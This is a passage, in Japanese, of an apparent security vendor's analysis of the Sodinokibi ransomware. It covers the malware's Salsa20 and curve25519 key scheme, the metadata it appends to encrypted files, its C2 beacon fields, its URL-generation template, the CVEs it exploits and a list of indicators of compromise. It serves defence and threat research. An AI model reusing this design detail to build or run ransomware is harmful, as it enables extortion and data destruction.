.text:00402CAC                 jz      short _1_encrypt_file
.text:00402CAE                 sub     eax, 1
.text:00402CB1                 jz      short _2_write_key_to_file
.text:00402CB3                 sub     eax, 1
.text:00402CB6                 jnz     short GetQueuedCompletionStatus_loop
.text:00402CB8
.text:00402CB8 _3_move_file:                           ; cryptostruct
.text:00402CB8                 push    ecx
.text:00402CB9                 push    esi             ; CompletionPort
.text:00402CBA                 call    do_move_file_add_extension
.text:00402CBF                 jmp     short next

図22:IO完了ルーチンで使用されるファイル暗号化スレッド

ファイルの暗号化に使用されるアルゴリズムはSalsa20であり、curve25519ベースの鍵導出アルゴリズムを使用し、前に生成済みの被害者の公開鍵とファイルごとに生成されるcurve25519鍵の一時ペアからの秘密鍵を入力として、各ファイルに対して32バイトのSalsa鍵が生成されます。

図23:curve22519を使用したSalsa20鍵の生成

暗号化された各ファイルの最後に、次の情報が付加されます。

•  レジストリのsk_key に格納されたアフィリエイト鍵のメタデータ(88バイト):
        o   設定の"pk"値からのハードコードされた鍵と被害者の第2の公開鍵から導出されたAES鍵を使用して暗号化された、被害者のメイン秘密鍵(36バイト)
        o   (curve25519鍵の2つ目のペアからの)被害者の第2の公開鍵(32バイト)    
        o   ランダムに生成されたAES IV(16バイト)
        o   被害者の公開鍵のCRC32(4バイト)
•  レジストリに格納されている、マスター鍵のメタデータ(88バイト):
        o   .dataセクションのハードコードされた鍵と被害者の第3の公開鍵から導出されたAES鍵を使用して暗号化された、被害者のメイン秘密鍵
        o   (curve25519鍵の3つ目のペアからの)被害者の第3の公開鍵
        o   ランダムに生成されたAES IV
        o   被害者の公開鍵のCRC32
•  ファイルごとに生成された公開鍵(32バイト)
•  ファイルごとに生成されたランダムなSalsa20 nonce(8バイト)
•  ファイルごとの公開鍵のCRC32の総計(4バイト)
•  設定のfast 設定の値(0または1)(4バイト)
•  ファイルごとに生成されたSalsa20鍵で暗号化された0x0000(4バイト)

図24:暗号化されたファイルに付加された情報

生成された秘密鍵、AES/Salsa鍵、および共有秘密鍵はすべて、ファイルの回復に役立つ可能性のある情報を被害者が取得できないように、使用後すぐにメモリから消去されます。

攻撃者は、同じcurve25519共有鍵導出アルゴリズムを採用して、暗号化に使用されたAES鍵を計算することにより、被害者のメイン秘密鍵を復号できます。これを行うために、攻撃者は被害者の第2の公開鍵と、設定のpk 値からの公開鍵に対応する自分自身の秘密鍵を使用することも、被害者の第3の公開鍵と、バイナリの.dataセクションからの公開鍵に対応する自分自身の秘密鍵を使用することもできます。被害者のメイン秘密鍵と各ファイルの最後に付加されたすべてのメタデータがあれば、攻撃者はファイルの暗号化に使用されたSalsa20対称鍵を導出することができます。

コマンドアンドコントロール(C2)通信

非対称鍵スケジュールアルゴリズムを使用することにより、Sodinokibiは、ネットワーク通信に依存せずに攻撃者と暗号鍵を交換します。このマルウェアは、オフラインモードで完全に機能することができ、被害者にファイルの復号に必要な情報を取得されるリスクがありません。

しかし、このマルウェアには、C&Cを利用するためのオプションの機能が実装されています。設定でnet パラメーターが設定されている場合、被害者のシステム情報と暗号化メタデータを含むPOSTリクエストが、設定のdmn 値にリストされている一連のドメインにブロードキャストされます。当社が調べた大半のサンプルで、このリストには一見正当なドメインが大量に記述されており、そのほとんどはWordPressサイトであると思われます。

これらの各ドメインに対して、次のフォーマットを使用して疑似乱数のURLが作成されます。


https://<domain_from_cfg>/<str_from_list1>/<str_from_list2>/<rand_str>.<ext_from_list3>

図25:動的URL生成テンプレート

リスト1

リスト2

リスト3

wp-content

images

jpg

static

pictures

png

content

image

gif

include

temp

 

uploads

tmp

 

news

graphic

 

data

assets

 

admin

pics

 

 

games

 

図26:動的URL生成で使用される拡張子リスト

生成されたURLの例を図27に示します。


https[://]peppergreenfarmcatering[.]com[.]au/content/pictures/iiusng.jpg

図27:生成されたURLの例

これらの各URLに送信されるPOSTリクエストには、レジストリのstat値が含まれています。これは、JSON形式の次の情報で構成されており、curve25519共有鍵生成アルゴリズムを使用して生成された鍵を使用するAES-256-CTRと、SHA3-256によって暗号化されています。

内容

ver

マルウェアのバージョン(0x102ハードコード)

pid

アクターID(設定の"pid")  

sub

キャンペーンID(設定の"sub")

pk

攻撃者の公開鍵(設定の"pk")

uid

被害者のUID(cpuid_hash + volume_serial_nr)

sk

レジストリのsk_key値の内容(実行時に生成され、設定からの公開鍵を使用して導出されたAES鍵によって暗号化された、被害者の秘密鍵)

unm

ユーザー名

net

コンピューター名

grp

TCP/IPドメイン

lng

OS言語

bro

キーボードレイアウトコードが指定されたコードで終わる場合はTrue

os

OSバージョン(ProductName)

bit

CPUアーキテクチャ

dsk

ディスク空き領域(base64エンコード)

ext

暗号化されたファイル用のランダムなファイル拡張子

図28:POSTリクエストのカスタムフィールド

このマルウェアは、C&Cからの応答を読み取りますが、それを保存したり、コードのどこかで使用したりはしません。これは、マルウェアのネットワーク機能が被害者の情報を含むビーコンの送信のみに制限されていることを示唆しています。

設定に含まれるドメインの中には水飲み場型攻撃に利用されたものもあるかもしれませんが、ほとんどのドメインは、単に実際のC&Cアドレスを難読化する手段として記述されている可能性があります。

結論

当社によるSodinokibiの分析により、注目に値するいくつかの驚くべき情報が明らかになりました。攻撃者がMSSPとGo2Assistを介してマルウェアを拡散していること、また、おそらくランサムウェアとしては初めてcurve22519ベースの鍵交換を使用していることが判明しました。また、当社は、Sodinokibiが最初から1,000以上のドメインを組み込んだ膨大なリストでC2サーバーを難読化する一方で、Heaven’s Gate手法を使用して32ビット動作と64ビット動作を切り替えていたことも確認しました。

当社の調査から、さらなる憶測を呼ぶようなSodinokibiに関する詳細も明らかになりました。このエクスプロイトコードは、主要なランサムウェアのコーディングよりも洗練されています。これは、このエクスプロイトコードが攻撃者によって開発されたのではなく、どこか別の場所で購入されたことを示しています。また、当社は、テスト中にブルースクリーン(BSOD)も目撃しました。つまり、エクスプロイトコードが完全には安定していないため、常に複数の設定で有効化されるわけではない可能性があります。

Sodinokibi攻撃を回避したい方のために、BlackBerry Cylance では、数百万の安全なファイルと安全でないファイルの両方で、人工知能(AI)ベースのセキュリティエージェントをトレーニングしています。このため、特定のファイルシグネチャではなく膨大な数のファイル属性とシステム動作に基づいて、Sodinokibiを特定し、阻止することができます。ゼロデイ攻撃に対する 予測優位性 を提供するBlackBerry Cylanceは、新たなサイバー攻撃と従来のサイバー攻撃の両方に対して効果的です。

侵入の痕跡(IOC)

インジケータ

タイプ

説明

861bc212241bcac9f8095c8de1b180b398057cbb2d37c9220086ffaf24ba9e08

SHA256

Sodinokibi

Global\206D87E0-0E60-DF25-DD8F-8E4E7D1E3BF0

ミューテックス

1度だけ実行されるミューテックスの名前

Global\48ce5235-506a-49ee-999a-bee908c6aa17

イベント

エクスプロイトのミューテックスの名前

[HKLM|HKCU]\SOFTWARE\recfg

レジストリキー

構成レジストリキー

[HKLM|HKCU]\SOFTWARE\recfg\0_key

レジストリ値

マスター鍵メタデータ

[HKLM|HKCU]\SOFTWARE\recfg\pk_key

レジストリ値

被害者のメイン公開鍵

[HKLM|HKCU]\SOFTWARE\recfg\sk_key

レジストリ値

アフィリエイト鍵のメタデータ

[HKLM|HKCU]\SOFTWARE\recfg\sub_key

レジストリ値

設定からの攻撃者の公開鍵

[HKLM|HKCU]\SOFTWARE\recfg\stat

レジストリ値

マシン情報

[HKLM|HKCU]\SOFTWARE\recfg\rnd_ext

レジストリ値

暗号化されたファイル用のランダムな拡張子


MITRE ATT&CK

手法

ID

名前

観測

初期アクセス

T1190

インターネット接続アプリケーションのエクスプロイト

CVE-2019-2725(Oracle WebLogic Serverの脆弱性)

T1133

外部リモートサービス

Go2Assist

T1199

信頼関係

MSSP

実行

T1059

コマンドラインインターフェイス

cmd.exeの実行

T1106

API経由の実行

cmd.exeの実行

特権昇格

T1068

特権昇格のためのエクスプロイト

CVE-2018-8453

防御の回避

T1089

セキュリティツールの無効化

BCDEDIT.EXEを使用した回復の無効化

影響

T1486

影響を及ぼすためのデータの暗号化

Salsa20を使用したファイルの暗号化

T1490

システム回復の阻害

BCDEDIT.EXEを使用した回復の無効化とボリュームシャドウコピーの削除

Tags: